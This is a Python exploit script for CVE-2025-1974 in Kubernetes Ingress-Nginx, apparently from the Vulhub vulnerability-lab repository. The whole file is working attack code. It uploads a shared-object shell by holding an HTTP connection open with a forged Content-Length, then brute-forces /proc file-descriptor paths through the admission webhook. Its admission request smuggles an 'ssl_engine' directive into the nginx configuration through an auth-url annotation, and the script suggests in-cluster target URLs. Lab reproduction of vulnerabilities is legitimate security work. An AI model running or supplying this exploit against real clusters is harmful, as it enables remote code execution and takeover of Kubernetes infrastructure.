Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
234 lines
7.2 KiB
Python
234 lines
7.2 KiB
Python
import base64
|
|
import time
|
|
import argparse
|
|
import requests
|
|
import sys
|
|
from urllib.parse import urlparse
|
|
import threading
|
|
from concurrent.futures import ThreadPoolExecutor
|
|
import urllib3
|
|
import socket
|
|
import os
|
|
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
|
|
admission_json = """
|
|
{
|
|
"kind": "AdmissionReview",
|
|
"apiVersion": "admission.k8s.io/v1",
|
|
"request": {
|
|
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
|
|
"kind": {
|
|
"group": "networking.k8s.io",
|
|
"version": "v1",
|
|
"kind": "Ingress"
|
|
},
|
|
"resource": {
|
|
"group": "networking.k8s.io",
|
|
"version": "v1",
|
|
"resource": "ingresses"
|
|
},
|
|
"requestKind": {
|
|
"group": "networking.k8s.io",
|
|
"version": "v1",
|
|
"kind": "Ingress"
|
|
},
|
|
"requestResource": {
|
|
"group": "networking.k8s.io",
|
|
"version": "v1",
|
|
"resource": "ingresses"
|
|
},
|
|
"name": "minimal-ingress",
|
|
"namespace": "default",
|
|
"operation": "CREATE",
|
|
"userInfo": {
|
|
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
|
|
},
|
|
"object": {
|
|
"kind": "Ingress",
|
|
"apiVersion": "networking.k8s.io/v1",
|
|
"metadata": {
|
|
"name": "minimal-ingress",
|
|
"namespace": "default",
|
|
"creationTimestamp": null,
|
|
"annotations": {
|
|
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
|
|
}
|
|
},
|
|
"spec": {
|
|
"ingressClassName": "nginx",
|
|
"rules": [
|
|
{
|
|
"host": "test.example.com",
|
|
"http": {
|
|
"paths": [
|
|
{
|
|
"path": "/",
|
|
"pathType": "Prefix",
|
|
"backend": {
|
|
"service": {
|
|
"name": "kubernetes",
|
|
"port": {
|
|
"number": 443
|
|
}
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
]
|
|
},
|
|
"status": {
|
|
"loadBalancer": {}
|
|
}
|
|
},
|
|
"oldObject": null,
|
|
"dryRun": true,
|
|
"options": {
|
|
"kind": "CreateOptions",
|
|
"apiVersion": "meta.k8s.io/v1"
|
|
}
|
|
}
|
|
}
|
|
"""
|
|
|
|
|
|
def send_request(admission_url, json_data, proc, fd):
|
|
print(f"Trying Proc: {proc}, FD: {fd}")
|
|
path = f"proc/{proc}/fd/{fd}"
|
|
replaced_data = json_data.replace("REPLACE", path)
|
|
|
|
headers = {
|
|
"Content-Type": "application/json"
|
|
}
|
|
|
|
full_url = admission_url.rstrip("/") + "/admission"
|
|
|
|
try:
|
|
response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
|
|
# print(response.text) - use this to debug (check response of admission webhook)
|
|
print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
|
|
except Exception as e:
|
|
print(f"Error on /proc/{proc}/fd/{fd}: {e}")
|
|
|
|
|
|
def admission_brute(admission_url, max_workers=10):
|
|
# proc = input("INPUT PROC:") - use this for manual testing
|
|
# fd = input("INPUT FD:") - use this for manual testing
|
|
# send_request(admission_url, json_data, proc, fd) - use this for manual testing
|
|
|
|
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
|
for proc in range(30, 50): # can be increased to 100
|
|
for fd in range(3, 30): # can be increased to 100 (not recommended)
|
|
executor.submit(send_request, admission_url, admission_json, proc, fd)
|
|
|
|
for proc in range(160, 180): # can be increased to 100
|
|
for fd in range(3, 30): # can be increased to 100 (not recommended)
|
|
executor.submit(send_request, admission_url, admission_json, proc, fd)
|
|
|
|
|
|
def exploit(ingress_url, shell_file):
|
|
if not os.path.exists(shell_file):
|
|
print(f"Error: Shell file '{shell_file}' not found")
|
|
sys.exit(1)
|
|
|
|
so = open(shell_file, 'rb').read() + b"\x00" * 8092
|
|
|
|
real_length = len(so)
|
|
fake_length = real_length + 10
|
|
url = ingress_url
|
|
|
|
parsed = urlparse(url)
|
|
host = parsed.hostname
|
|
port = parsed.port or 80
|
|
path = parsed.path or "/"
|
|
|
|
try:
|
|
sock = socket.create_connection((host, port))
|
|
except Exception as e:
|
|
print(f"Error connecting to {host}:{port}: {e} - host is up?")
|
|
sys.exit(1)
|
|
|
|
headers = (
|
|
f"POST {path} HTTP/1.1\r\n"
|
|
f"Host: {host}\r\n"
|
|
f"User-Agent: lufeisec\r\n"
|
|
f"Content-Type: application/octet-stream\r\n"
|
|
f"Content-Length: {fake_length}\r\n"
|
|
f"Connection: keep-alive\r\n"
|
|
f"\r\n"
|
|
).encode("iso-8859-1")
|
|
|
|
http_payload = headers + so
|
|
sock.sendall(http_payload)
|
|
|
|
response = b""
|
|
while True:
|
|
chunk = sock.recv(4096)
|
|
if not chunk:
|
|
break
|
|
response += chunk
|
|
|
|
print("[*] Response:")
|
|
print(response.decode(errors="ignore"))
|
|
|
|
sock.close()
|
|
|
|
|
|
def parse_arguments():
|
|
# Default values for the service
|
|
default_admission = "https://localhost:32043/networking/v1/ingresses"
|
|
default_ingress = "http://localhost:32080/fake/addr"
|
|
|
|
# Suggested values when running in a kubernetes cluster
|
|
suggested_admission = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses"
|
|
suggested_ingress = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr"
|
|
|
|
parser = argparse.ArgumentParser(description='CVE-2025-1974 Ingress-Nginx Exploit')
|
|
|
|
parser.add_argument('-a', '--admission',
|
|
default=default_admission,
|
|
help=f'Admission webhook URL (default: {default_admission}, suggested in-cluster: {suggested_admission})')
|
|
|
|
parser.add_argument('-i', '--ingress',
|
|
default=default_ingress,
|
|
help=f'Ingress controller URL (default: {default_ingress}, suggested in-cluster: {suggested_ingress})')
|
|
|
|
parser.add_argument('-s', '--shell-file',
|
|
default="shell.so",
|
|
help='Path to the shell.so file (default: shell.so)')
|
|
|
|
parser.add_argument('-w', '--workers',
|
|
type=int,
|
|
default=10,
|
|
help='Number of worker threads for brute forcing (default: 10)')
|
|
|
|
return parser.parse_args()
|
|
|
|
|
|
def main():
|
|
args = parse_arguments()
|
|
|
|
print(f"[*] Using shell file: {args.shell_file}")
|
|
print(f"[*] Admission URL: {args.admission}")
|
|
print(f"[*] Ingress URL: {args.ingress}")
|
|
print(f"[*] Workers: {args.workers}")
|
|
print("[*] Starting exploit...")
|
|
|
|
# Send the library to the ingress pod and keep the connection open
|
|
# to keep the file open via the file descriptor (FD)
|
|
x = threading.Thread(target=exploit, args=(args.ingress, args.shell_file))
|
|
x.start()
|
|
|
|
# Give the exploit thread time to start and upload the shellcode
|
|
time.sleep(2)
|
|
|
|
# Start the admission webhook brute force (/proc/{pid}/fd/{fd})
|
|
admission_brute(args.admission, max_workers=args.workers)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|